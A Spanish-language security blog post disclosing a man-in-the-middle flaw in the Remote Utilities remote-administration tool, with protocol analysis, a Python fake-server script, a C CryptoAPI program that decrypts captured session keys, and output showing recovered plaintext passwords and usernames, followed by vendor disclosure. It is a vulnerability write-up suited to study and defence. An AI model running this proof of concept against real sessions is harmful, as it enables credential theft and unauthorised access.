miércoles, 17 de agosto de 2016

Remote Utilities: obteniendo credenciales en texto claro

¡Saludos!

    Hace un par de meses estuve buscando vulnerabilidades en mi tiempo libre en algunos programas de administración remota (DameWare, Remote Utilities, etc.). Si bien en el caso de DameWare únicamente conseguí denegaciones de servicio, en el caso de Remote Utilities sí que encontré algo que era más interesante: la posibilidad de, a través de un MitM, obtener los credenciales de un usuario en texto claro. La intención de este post es la de relatar los pasos que seguí para encontrar la vulnerabilidad y explotarla.


    En primer lugar creo que sería adecuado dar un poco de contexto. El software objetivo, "Remote Utilities" (http://www.remoteutilities.es/), es una herramienta de administración remota (como Team Viewer, Join.me, DameWare, etc.) compuesta por dos partes: un servidor ("host") y un agente que se conecta ("viewer") al servidor. Tal y como se puede leer en la pestaña "Seguridad" de la web, todo el tráfico entre viewer  y servidor se encuentra cifrado:

      Remote Utilities incluye diversas opciones de seguridad, para proteger la inviolabilidad de la contraseña y el tráfico entre los módulos del programa:

    Encriptación. Todos los datos transferidos a la red son encriptados con los algoritmos de encriptación segura (una clave pública de 2048 bits y AES con una clave de sesión de 256 bits).
  
     En primer lugar lo que hice fue crear un entorno de pruebas donde instalar la última versión del software en dos VMs, un para el host y otro para el viewer. La versión analizada fue la 6.3.0.6.



   Una vez creado el laboratorio procedí a conectar varias veces con el host, y a capturar el tráfico intercambiado. Para esto suelo utilizar frida ( http://www.frida.re/), y en vez de sniffar, lo que hago es hookear las llamadas a send y recvs. Tengo hecho un pequeño script llamado Aker que me permite después analizar ese tráfico, reproducirlo, o generar un pequeño fuzzer creando plantillas a partir de lo que ha interceptado.
JavaScript para extraer info de los send() y recv()
  Lo más básico, y primer paso para el análisis, es volcarlo todo en un HTML y empezar a buscar patrones.

Tráfico desde el servidor. Click para ampliar la imagen.
  En este caso hemos hookeado el host y vemos en rojo el tráfico entrante, que procede del viewer, y en verde el tráfico saliente (la respuesta del host). Para poder graficarlo más fácilmente lo muestro en hexadecimal.

   Si empezamos a analizar " a grano gordo" vemos que la comunicación la inicia el viewer enviando el siguiente paquete:

0000000400000002000000037b41393344464339462d343036352d344245362d424345342d3034334645433645444445457d0d0a000....000

  Podemos diseccionarlo de la siguiente forma:

00000004
00000002
00000003
7b41393344464339462d343036352d344245362d424345342d3034334645433645444445457d
0d0a
000...000

   A ojo podemos ver unos primeros numeros sueltos que podrían corresponderse con códigos para identificar cómo procesar el paquete, sizers, o cualquier otra cosa. Después un churro ascii, un salto de línea y null bytes. El ascii se corresponde con lo que podría ser un identificador del cliente:

{A93DFC9F-4065-4BE6-BCE4-043FEC6EDDEE}

   Posteriormente hay un intercambio de diferentes datos que no llaman la atención hasta que el servidor manda:

  300030003000430032003900360041003700440032004500

Que se traduce por:

000C296A7D2E

Y es la mac del servidor. Un par de paquetes más tarde el servidor manda un paquete clave:

0602000000a4000052534131000800000100010041b1a78b70ab960e7cb951ad4e0861bdfa8a4194ff3954ce66c615052d7537468f7ed68ce8475b2aa4e374d9b0e6634116d646c84a5798f804cda033d96b916bebcea52868c6301a1ec6ad8389da9c868d5b89f72422d170c7937970c7192d33d320046fb2da864f325b37511ed4e6974d66ddb6337f2a737d6fc84f415d50604465bae2c33e76a8f2ac8aa85434bee6b4f266565473118fef8f0d26aa2cc3d48ef9d6038936df5e9f790330ce86857ff6f408bc0266e56fbaa6fa4a5ee2c686e1ea99ef121ecb175018a5c964551c617dac6dfed6bda296858f637ca5adf71d3ee8d597c4431c1afd6cf9a34ac11a6eb734801755072cbf0b15100b193ba4a9


     Es sumamente interesante, porque 52534131 es "RSA1", "10001" parece un exponente típico y después (al pasar de hexa al original) 2048 bits. Parece ser una clave RSA, lo que se corresponde con lo que anunciaban en la web del producto.  ¿ Y qué recibe como respuesta por parte del cliente?


0000010c010200001066000000a40000d7fdf335945195c0970c9f0295d7da5a90eaa5b719e668935d4fb3c8647fc6a9b6402ee9aba803feb6675b75af01570834fefe5e6afbfd8e7fd7d6fc1f7e104155d97f30203993a9faab5fe35e141afc837cf4417ce8ffb28c97716d3932e7f73c22fcf853d398fd290c1bace474e51ebd4db526c257b78c767880f1a6ae6b4e0f2bdfa78d32e7e085047b67ddcee5330d245b79e104f8caa7e34be42e9428cf5c18558540fd3e7463cb74eb7aa716347a82c02e7b8b31a09856f9448df0be51cc12aaa3d5049b3fbf36cf659621822ab22cab5e1c8d4f59cd681a430a6fd50c3f40c0b346de15f39fb54fab468b9884e7a2e5827531b8de73db78b7fdcec392


  Que podemos diseccionarlo en:

0000010c
01020000
10660000
00a40000
d7fdf335945195c0970c9f0295d7da5a90eaa5b719e668935d4fb3c8647fc6a9b6402ee9aba803feb6675b75af01570834fefe5e6afbfd8e7fd7d6fc1f7e104155d97f30203993a9faab5fe35e141afc837cf4417ce8ffb28c97716d3932e7f73c22fcf853d398fd290c1bace474e51ebd4db526c257b78c767880f1a6ae6b4e0f2bdfa78d32e7e085047b67ddcee5330d245b79e104f8caa7e34be42e9428cf5c18558540fd3e7463cb74eb7aa716347a82c02e7b8b31a09856f9448df0be51cc12aaa3d5049b3fbf36cf659621822ab22cab5e1c8d4f59cd681a430a6fd50c3f40c0b346de15f39fb54fab468b9884e7a2e5827531b8de73db78b7fdcec392

        Siendo el primer bloque un sizer y el último 256 bytes. Viendo esto, una primera hipótesis que podríamos arrojar es que el servidor le envía su clave RSA pública al cliente, el cliente genera una clave AES para la sesión, cifra ésta utilizando la clave recibida y se la envía de vuelta al servidor donde la descifra con la privada. Una vez que ambas partes conocen la clave AES, van a poder cifrar y descifrar tranquilamente.

    Lo normal es que la clave RSA enviada se mantenga constante entre diferentes conexiones con el objetivo de poder identificar sin equívoco a qué servidor se está conectando el cliente. De esta forma puedes detectar si alguien está spoofeando el servidor. Sin embargo, si probais a intentar conectar repetidas veces vereis como la clave cambia, por lo que en el caso de Remote Utilities se está generando una nueva clave RSA en cada intento de  iniciar sesión, de tal forma que el cliente no puede tener la certeza de a quien se ha conectado. ¿Alguien dijo Man-in-the-Middle?


     Antes de continuar con la idea de hacer un MitM, si seguimos un par de paquetes más, vemos que el cliente envía esto:

000000100ff8b3c3b95297f4bb5ea9caea3dacf8000000205c517b19e0cc16c1e8fde3a7fc131a5fe0beafc8d4e91b747dbce3cf1f99e149

    Que diseccionado quedaría como:

00000010
0ff8b3c3b95297f4bb5ea9caea3dacf8
00000020
5c517b19e0cc16c1e8fde3a7fc131a5fe0beafc8d4e91b747dbce3cf1f99e149

    La primera y tercera sección parecen sizers, y la segunda y cuarta parecen bloques de tamaño fijo. ¿Son datos cifrados con el AES? ¿Dos datos seguidos...? Podría tratarse del usuario y password, asi que lo que hacemos es iniciar sesión con un usuario y password que sean exactamente el mismo ("AA"). Si nuestra teoría es cierta, deberíamos de ver dos bloques del mismo tamaño y mismo contenido:

00000010
4414d41a0666342c17de2ca36208d352
00000010
4414d41a0666342c17de2ca36208d352

     Ding ding ding ¡Premio!. Ahora, si queremos saber si la primera parte es la password o el username, lo que haremos será poner una password corta ("AA" otra vez) y un username bastante largo ("BBBBBBBBBBBBBBBBBBBBB") por ejemplo. De esta forma el bloque más pequeño será el que se corresponda con la password y el más grande con el usuario  (en este caso ya os adelanto que el password es el primero y el username el segundo).

    Con toda la información que ya hemos recopilado podríamos hacer un pequeño script en python que nos pinte toda la información en bonito, diseccionando cada paquete

import binascii
import socket
import sys

host = '192.168.245.128'
port = 5650

mac = "300030003000430032003900360041003700440032004500" # Server MAC
RSA1 = "0602000000a4000052534131000800000"
pubexp = "1000100"
pubkey = "
00aa1dd855ef652274cf7364ce5f0a843635e76cba69c49a6db4fa67b96206f5ddc0aa133b3afb9d49
9d14cdc7c4ab3c0b7b35d3494523abdbf51282763783761c489a31df02672f496467b4d73a461571
32e1d9869bc74cbb34b8eda8190254d139c351a0b69ff15fffe452ee036f03355512f27ab2020492
d85b8b215785afb6a594c720363c70ace1580772892f5504cdc968e22191667974b34acc52fefae3
1c5ffa0815f627c10b59a558daf10aedc1898c19bd76e16bd77da69dbb442332e657eb95c1de3a8e
a5732240e513e4d629dbcf5727e5bd9a9ef9103cf6dcda24562225e6615ddebcc15da57af3c75f42
39afb34f303274ab5c5d5b1382236de1
"


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
        s.bind((host, port))
except socket.error as msg:
        print 'Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
        sys.exit()
        
s.listen(10)
print '[+] Server is ready!'
print '[+] Listening for a connection...'

while 1:
        conn, addr = s.accept()
        print '[+] Client connected!'
        data = conn.recv(1024).encode("hex") # 00000004
        data = conn.recv(1024).encode("hex") # 00000002{ID}0d0a00...000
        print '[+] Client ID: ' + data[16:-4].decode("hex")
        conn.send("00000000".decode("hex"))
        data = conn.recv(1024).encode("hex") #00000309 No sabemos qué es
        conn.send(data.decode("hex"))
        conn.send("0000f61e".decode("hex"))
        conn.send("00000004".decode("hex"))
        conn.send("00000000".decode("hex"))
        data = conn.recv(1024).encode("hex") #00000000
        conn.send("00000000".decode("hex"))
        data = conn.recv(1024).encode("hex") #0000f61e0
        data = conn.recv(1024).encode("hex") #000000000
        conn.send("00000018".decode("hex"))
        print "[+] Sending Server MAC: " + ''.join(mac.decode("hex").split("\0"))
        conn.send(mac.decode("hex"))
        conn.send("00000003".decode("hex"))
        data = conn.recv(1024).encode("hex") #00000003 
        conn.send("00000114".decode("hex"))
        print "[+] Sending Server RSA Public Key: \n"
        print "- Public Exponent: " + pubexp
        print "- Public Key: \n" + pubkey
        rsa = RSA1 + pubexp + pubkey
        conn.send(rsa.decode("hex"))
        data = conn.recv(1024).encode("hex") # 0000010c
        data = conn.recv(1024).encode("hex") #Client RSA ?
        client_rsa = data[24:]
        print "\n[+] Client Response: \n" + client_rsa + "\n"
        conn.send("00000001".decode("hex"))
        conn.send("00000001".decode("hex"))
        data = conn.recv(1024).encode("hex") #Size of encrypted password
        pwd_enc_size = int(data, 16)
        print "[+] Password data: "
        print "- Encrypted size is: " + str(pwd_enc_size)
        print "- Number of blocks: " + str(pwd_enc_size / 16)
        data = conn.recv(1024).encode("hex")
        pwd_enc = data[:pwd_enc_size * 2]
        print "- Encrypted Password: " + pwd_enc
        user_enc_size = int(data[pwd_enc_size*2:8 + (pwd_enc_size*2)],16)
        print "\n[+] User data: "
        print "- Encrypted size is: " + str(user_enc_size)
        print "- Number of blocks: " + str(user_enc_size / 16)
        user_enc = data[8 + (pwd_enc_size*2):]
        print "- Encrypted Username: " + user_enc
        
        conn.send(rsa.decode("hex"))
        data = conn.recv(1024).encode("hex")
        print data
        
        raw_input()
   Montamos un MitM y hacemos la prueba:


[+] Server is ready!
[+] Listening for a connection...
[+] Client connected!
[+] Client ID: {928CF76A-10BD-4F62-8041-21B589FD87C5}
[+] Sending Server MAC: 000C296A7D2E
[+] Sending Server RSA Public Key:

- Public Exponent: 10001
- Public Key:
00aa1dd855ef652274cf7364ce5f0a843635e76cba69c49a6db4fa67b96206f5ddc0aa133b3afb9d49
9d14cdc7c4ab3c0b7b35d3494523abdbf51282763783761c489a31df02672f496467b4d73a461571
32e1d9869bc74cbb34b8eda8190254d139c351a0b69ff15fffe452ee036f03355512f27ab2020492
d85b8b215785afb6a594c720363c70ace1580772892f5504cdc968e22191667974b34acc52fefae3
1c5ffa0815f627c10b59a558daf10aedc1898c19bd76e16bd77da69dbb442332e657eb95c1de3a8e
a5732240e513e4d629dbcf5727e5bd9a9ef9103cf6dcda24562225e6615ddebcc15da57af3c75f42
39afb34f303274ab5c5d5b1382236de1


[+] Client Response:
0a37f7b295151fb30d9f3d076fbafc4d1285829f1774c3f66ad46e00057d7dd86058735e2ab2cf55
c6fe85595883a76da9ff0b59758863e6986d0c63d5260547ab9f8c2d660dca7852d5fdabfd6e9a8b
9fb46d93a3f6e74f273cfc3650af5f11d68a731359f71223f79cc77034d176dcc006c32fceb18ee9
a319432648489916359a73d05a1ae1c093299e3e873bc0b024989599261a7a8cc31ce6ca770e1893
dd2dd06e89bb0c24f7d4df73dd0702762aa6c2f36c48a7f09811e998068e1688d282016498337b32
f9a50acd3f26951656e8a29af093a8b52103c731ceda68617fefc1caecba922dd4e110ef4408329c
714774931e1e3f3462a3095f69ba8d9c

[+] Password data:
- Encrypted size is: 16
- Number of blocks: 1
- Encrypted Password: 1ec1117fd7bf0ced262a3bab342803e4

[+] User data:
- Encrypted size is: 16
- Number of blocks: 1
- Encrypted Username: 1ec1117fd7bf0ced262a3bab342803e4
     En esta primera parte del post hemos estando analizando de forma periférica cómo realiza el inicio de sesión Remote Utilities. Trabajando "a ciegas" y sin mirar las entrañas del programa  hemos conseguido entender el funcionamiento y poder crearnos un "traductor" que nos permita obtener la información más relevante del proceso, e incluso vislumbrar una posible vulnerabilidad que nos va a permitir hacer un MitM sin que el cliente se entere.

   Con toda esta info estuve intentando montar un PoC con Xassiz que consistía básicamente en generar un par de claves RSA con OpenSSL y pasarsela la pública al cliente para poder después descifrar todo. La primera idea, y nos salió mal: no conseguimos hacerlo funcionar de esa forma. El segundo asalto fue más fructífero, cambiando el enfoque.


     Si os fijasteis en el paquete que mandaba el servidor con la clave pública RSA aparecía en ascii el texto "RSA1". Si lo googleamos llegamos hasta este enlace de MSDN https://msdn.microsoft.com/es-es/library/windows/desktop/aa387685(v=vs.85).aspx donde aparece la descripción de la estructura "RSAPUBKEY":
  Esto se parece al paquete que hemos visto. ¿Y si lo que hacemos es un programa en C que sea el que genere las mismas estructuras que está esperando el cliente y lo usamos para descifrar? Dicho y hecho. Monitoree todas las funciones (y con qué argumentos) que se utilizan para la parte de criptografía utilizando la herramienta API Monitor. Con esta info un compañero de trabajo, Nico, me hizo un pequeño programa en C que implementaba las mismas llamadas que se hacía en el software original.


#define PORT "7777"
#define BUFFER_LEN 4096




LPBYTE exportPubKey(HCRYPTKEY hKey) {
        LPBYTE buffer;
        DWORD filesize;
        if (CryptExportKey(hKey, 0, PUBLICKEYBLOB, 0, NULL, &filesize)) {
                printf("key size: %lu\n", filesize);
        }
        else {
                printf("error: %lx\n", GetLastError());
                return 0;
        }
        if (buffer = (LPBYTE)malloc(filesize))
        {
                printf("Memory has been allocated for the BLOB. \n");
        }
        else
        {
                printf("Out of memory. \n");
                return NULL;
        }
        if (CryptExportKey(hKey, 0, PUBLICKEYBLOB, 0, buffer, &filesize)) {
                /*unsigned int i;
                for (i = 0; i < filesize; i++) {
                        printf("%.2x ", buffer[i]);
                }
                printf("\n");*/
                return buffer;
        }
        else {
                return NULL;
        }
}


//CryptExportKey ( 0x00182318, NULL, PUBLICKEYBLOB, 0, 0x0184e230, 0x01a6fcdc )
//CryptImportKey ( 0x0018cdf0, 0x0183dda0, 268, 0x00182318, 0, 0x01a6fcec )

int main()
{
        char aescrypted[2048];
        char *test;
        unsigned int i;
        char recvbuf[BUFFER_LEN];
        HCRYPTPROV hProv;
        CryptAcquireContextW(&hProv, 0, 0, 24, 4026531840);
        HCRYPTKEY hKey;
        if (CryptGenKey(hProv, 1, 134217728 | CRYPT_EXPORTABLE, &hKey)) {
                printf("Session key created\n");
        }
        LPBYTE buffer = exportPubKey(hKey);



        WSADATA data;
        WSAStartup(MAKEWORD(2, 2), &data);
        struct addrinfo hints;
        ZeroMemory(&hints, sizeof(hints));
        hints.ai_family = AF_INET;
        hints.ai_socktype = SOCK_STREAM;
        hints.ai_protocol = IPPROTO_TCP;
        hints.ai_flags = AI_PASSIVE;
        struct addrinfo *result = NULL;
        int iResult = getaddrinfo(NULL, PORT, &hints, &result);
        printf("%d\n", iResult);
        SOCKET listenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
        iResult = bind(listenSocket, result->ai_addr, (int)result->ai_addrlen);
        freeaddrinfo(result);
        iResult = listen(listenSocket, SOMAXCONN);
        SOCKET clientSocket = accept(listenSocket, NULL, NULL);
        iResult = recv(clientSocket, recvbuf, BUFFER_LEN, 0);

        test = (char*)buffer;
        iResult = send(clientSocket, test, 276, 0); //Send RSA public key
        printf("\n[+] RSA Public key sent");
        iResult = recv(clientSocket, recvbuf, 576, 0); //Get encrypted AES KEY
        printf("\n[+] Client encrypted AES key received\n");
        
        HCRYPTKEY aesKey;
        if (CryptImportKey(hProv, (BYTE *)recvbuf, 268, hKey, 0, &aesKey)) {
                printf("[+] Imported AES Key!\n");
        }
        else {
                printf("[-] Can't get AES key\n");
                printf("%lx", GetLastError());
                return 0;
        }

        
        iResult = recv(clientSocket, recvbuf, 576, 0);
        DWORD cryptedLen = (DWORD)iResult;
        
        if (CryptDecrypt(aesKey, NULL, TRUE, 0, (BYTE *)recvbuf, &cryptedLen)) {
                printf("[+] Password successfully decrypted\n");
        }
        else {
                printf("[-] Error\n");
                printf("%lx", GetLastError());
                return 0;
        } 
        iResult = send(clientSocket, recvbuf, iResult, 0);
        iResult = recv(clientSocket, recvbuf, 576, 0);
        cryptedLen = (DWORD)iResult;

        if (CryptDecrypt(aesKey, NULL, TRUE, 0, (BYTE *)recvbuf, &cryptedLen)) {
                printf("[+] User successfully decrypted\n");
        }
        else {
                printf("[-] Error\n");
                printf("%lx", GetLastError());
                return 0;
        }
        iResult = send(clientSocket, recvbuf, iResult, 0);
        printf("\n");
        free(buffer);
        return TRUE;
}


    Básicamente lo que tendremos que hacer es interceptar la comunicación entre el servidor, enviarle nuestra clave RSA pública, esperar a que nos mande su clave AES cifrada con nuestra pública. Con la privada la desciframos y ya podremos descifrar la contraseña y usuario que nos envíe (el script en python se comunica por sockets con el programa en C que se va a encargar del cifrado)
C:\Users\h4ck1ng\Desktop>python server.py
[+] Server is ready!
[+] Listening for a connection...
[+] Client connected!
[+] Client ID: {B437E691-F808-4E75-A62C-4507B0F21275}
[+] Sending Server MAC: 000C29BE02A6
[+] Sending Server RSA Public BLOB

0602000000a4000052534131000800000100010055f35dd43495fbdb4d1615043ce374d01a698e95
d09d380d796a32113731dfa6426e6bf01add7e0f0360edae4a56475d4a506194604f15fec1f4945d
4da8e6bebd369cf37d993ecb4dfa8e6a441e7e73bd279a1e8f90b1025eb530b3b3f0ea7a68b665b2
3ff091ac66429564293c57f655ff33ece4fa1ee2828e0763f0b1f22f4f7c61dce454e5f90cbdd24b
59ace4103fbfdb48fe9e884d91a187ff87c9b798d9772b15465c99a14c5865635d52e5e1cc8f2e7c
d2e2b4c517d09d3b77593b32d449abe312ad88851bc4683587d2f85b43ab9b71078a85978a3e99d7
7c90db3887a75b1a1ad32a5b1bdd420e53b73046d982c87820cffe24eea3986185ab689f

[+] Client Response:
010200001066000000a40000968b7caf5207a720809b619ea1a07831dd57bdb592ffc8c70c20a677
79c3e09e602c9327778abf246453def5b23e2c078e81752adb039606918615831d8185a660bb67df
717c08c95f5cdcd35972632ff377c82274561e9ee52dbf5d9626bc9f42824023a14a48f7a00c2bdb
df3347f7db86ae6fb50c29d627344c3c82443158c7de67fde70700dbe35a5128690a00501d7c24ce
6b8b05a6fb3fed1401ae9b6db2ebb66cea157c1e65a564af0420307426f7a20ead7ed513f28b2836
d89c0249e3614ec6a33b97c973fceab6c509519b40c8b3120abae10a0a2944c739590abd7ede5f2e
ef19bee051d084e4a2cce12835dfad56b44b53d9a1f9f596dcdbf05f

[+] Password data:
- Encrypted size is: 32
- Number of blocks: 2
- Encrypted Password: cbc3191b0d985fb10a1b5535d2a219c1a71ccdd3519bae53089abb1547
ba8e92
- Decrypted Password: Mypassword

[+] User data:
- Encrypted size is: 32
- Number of blocks: 2
- Encrypted Username: df0f831a77d4a3abae3cf2097bbb2ef5a3f25a33e828791247f24b2c99
b80bad
- Decrypted Username: MyUsername
  ¡Ya tenemos los credenciales para poder conectar al servidor!


       El 2 de Julio contacté con los desarrolladores para reportarles la vulnerabilidad y enviarles el PoC. Me contestaron que esto se podría evitar con una opción de configuración que posee, donde se añade una cadena (de aspecto bastante similar a lo que he denominado en el script "Client ID") que se utiliza como base para generar unos valores que se intercambian entre el cliente y el servidor a fin de verificar su identidad. El problema está en que esta verificación se realiza al comienzo del inicio de sesión, pero el resto del proceso donde se intercambian las claves criptográficas sigue siendo exactamente el mismo. Un atacante simplemente necestiaría actuar como un proxy transparente durante este intercambio y actuar justo en el momento de enviar la clave del servidor, suplantando al original.

Byt3z!

5 0verl0ad Labs: Remote Utilities: obteniendo credenciales en texto claro ¡Saludos!     Hace un par de meses estuve buscando vulnerabilidades en mi tiempo libre en algunos programas de administración remota (Dame...

1 comentario:

deurus dijo...

Que típico reportar un fallo y contestar con excusas. Buen trabajo Joe!

< >